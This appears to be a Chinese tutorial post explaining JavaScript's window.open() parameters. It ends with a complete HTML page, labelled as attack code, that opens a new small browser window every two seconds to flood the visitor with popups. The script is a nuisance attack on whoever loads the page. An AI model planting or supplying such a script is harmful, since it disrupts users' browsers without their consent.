浏览器不停弹窗攻击
open方法
window.open() 方法可以导航到一个特定的URL,也可以打开
一个新的浏览器窗口,一般可以接受三个参数:
1.要加载的URL
2.窗口的名称或者窗口的目标
3.一个特性的字符串
open(“http://www.baidu.com”); //新建页面并打开百度
open(“http://www.baidu.com”, “baidu”); //新建页面并命名窗口并打开百度
open(“http://www.baidu.com”, “_parent”); //在本页窗口打开,_blank是新建
【注】不命名会每次打开新窗口,命名的第一次打开新窗口,之后在这个窗口中加载。
第三个参数字符串中的参数说明:
left , top 都是相对于屏幕窗口左上角,而不是浏览器窗口。
open三个参数都是以字符串的形式。
既open(字符串,字符串,字符串);字符串可以直接用引号赋值' '也可用 其他类型用+拼接最后得到字符串。
//open本身返回子窗口的window对象
var box = open();
box.alert('');//可以指定弹出的窗口执行 alert();
攻击代码:
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>不停弹出窗-攻击</title> 6 <script> 7 var i = 0; 8 setInterval(function(){ 9 open('http://www.baidu.com','baidu' + i,'width = 200, height = 200, left =' + (50 * i) + ' top = ' + (50 *i )); 10 i++; 11 },2000) 12 </script> 13 </head> 14 <body> 15 16 </body> 17 </html>